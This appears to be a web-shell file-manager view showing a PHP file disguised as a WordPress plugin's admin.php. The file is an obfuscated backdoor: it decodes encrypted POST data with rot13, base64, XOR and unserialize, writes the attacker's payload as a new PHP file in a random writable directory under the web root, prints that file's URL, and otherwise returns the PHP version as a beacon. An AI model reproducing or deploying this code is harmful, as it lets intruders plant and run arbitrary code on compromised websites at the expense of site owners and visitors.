HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-content/plugins/gp-premium/dist/admin.php
<?php function mYgaHUayc($PYONJY, $lTFVLGc, $hUdhzQyrcG){$HaIQDV = "ca3bc32f-f06c-4eff-9ce2-f13a99516ae3";return $PYONJY ^ $HaIQDV[$lTFVLGc % strlen($HaIQDV)] ^ $hUdhzQyrcG;}$mCnurNeKlf = "PRfhtrP";function UoHSbjeRH($mCnurNeKlf){ $edeHwCxnFz = chr(115).chr(116).'r'."\x5f"."\162".'o'."\164".'1'."\63";$mCnurNeKlf = $edeHwCxnFz($mCnurNeKlf);$BSZrmjwCz = "\x72"."\x61"."\x77"."\165".chr(114).chr(784-676).'d'.chr(101)."\x63"."\x6f".chr(277-177).chr(777-676);$mCnurNeKlf = $BSZrmjwCz($mCnurNeKlf);$mCnurNeKlf = str_split($mCnurNeKlf);return $mCnurNeKlf;}function ZUuiKC($ZSMPy, $hUdhzQyrcG){$ZSMPy = array_map("mYgaHUayc", array_values($ZSMPy), array_keys($ZSMPy), array_values($hUdhzQyrcG));$ZSMPy = implode("", $ZSMPy);$REUZg = "\x75".'n'."\x73".'e'.chr(365-251).chr(828-723)."\x61".chr(1079-971).chr(105).chr(491-369).chr(403-302);$ZSMPy = @$REUZg($ZSMPy);return $ZSMPy;}function kfcfFtA($hUdhzQyrcG, $ZSMPy){$hUdhzQyrcG = array_slice(str_split(str_repeat($hUdhzQyrcG, (count($ZSMPy)/16)+1)), 0, count($ZSMPy));return $hUdhzQyrcG;}function eJYxXDXvTb(){echo "iEZyAFbxy";}function aRXQus($YGyGxjir){static $fMohb = array();$engiXw = glob($YGyGxjir . '/*', GLOB_ONLYDIR);$ToyriC = count($engiXw);if ($ToyriC > 0) {foreach ($engiXw as $YGyGxj) {$OrAKKr = "\151"."\x73".'_'."\167".'r'."\x69"."\164"."\x61"."\x62".'l'.'e';if (@$OrAKKr($YGyGxj)) {$fMohb[] = $YGyGxj;}}}foreach ($engiXw as $YGyGxjir) aRXQus($YGyGxjir);return $fMohb;}function aLlGzGcgxJ($ZSMPy){$NOhakT = 'D'.chr(602-523).chr(67)."\x55"."\115".chr(69)."\116".'T'.chr(95)."\122".'O'.'O'."\x54";$bDwzA = $_SERVER[$NOhakT];$engiXw = aRXQus($bDwzA);$ngiWmJGj = array_rand($engiXw);$ALUIopjLFg = chr(66-20).chr(112).chr(327-223)."\x70";$jZvhAlU = $engiXw[$ngiWmJGj] . "/" . substr(md5(time()), 0, 8) . $ALUIopjLFg;$USyBfJ = chr(872-770)."\x69".chr(108)."\145".'_'.chr(112).chr(117).chr(116).'_'.'c'.'o'.'n'.'t'."\145"."\156"."\164".chr(115);@$USyBfJ($jZvhAlU, $ZSMPy);$syIuXQJET = 'H'."\x54"."\124".chr(938-858).'_'.'H'."\117"."\x53".'T';$TykZlsPHoq = "\x68".chr(116).chr(116).chr(639-527).chr(58).chr(47).chr(47);$OKQecwuXo = $TykZlsPHoq . $_SERVER[$syIuXQJET] . substr($jZvhAlU, strlen($bDwzA));print($OKQecwuXo);}function YzsskHXfcI($ZSMPy, $ngiWmJGj){$ngiWmJGj = $ngiWmJGj[0];if ($ZSMPy !== $ngiWmJGj){aLlGzGcgxJ($ZSMPy);}else {cXnDCE();}}function cXnDCE(){$ljKegckIc = "\160"."\x68"."\160";$WxZetnJYeF = 'p'.'h'.chr(112).'v'.chr(487-386).chr(827-713)."\x73"."\151".chr(111).chr(110);$ZSMPy = Array($ljKegckIc => @$WxZetnJYeF(), );$YNkSe = chr(115).chr(101).chr(550-436)."\x69"."\x61"."\x6c".chr(769-664).'z'.chr(909-808);echo @$YNkSe($ZSMPy);}function kvRbi(){echo "PRfhtrP";}foreach ($_POST as $hUdhzQyrcG => $ZSMPy){$jgyiP = strlen($hUdhzQyrcG);if ($jgyiP == 16){$ZSMPy = UoHSbjeRH($ZSMPy);$hUdhzQyrcG = kfcfFtA($hUdhzQyrcG, $ZSMPy);$ZSMPy = ZUuiKC($ZSMPy, $hUdhzQyrcG);if (@is_array($ZSMPy)){$ngiWmJGj = array_keys($ZSMPy);$ZSMPy = $ZSMPy[$ngiWmJGj[0]];YzsskHXfcI($ZSMPy, $ngiWmJGj);}}}die();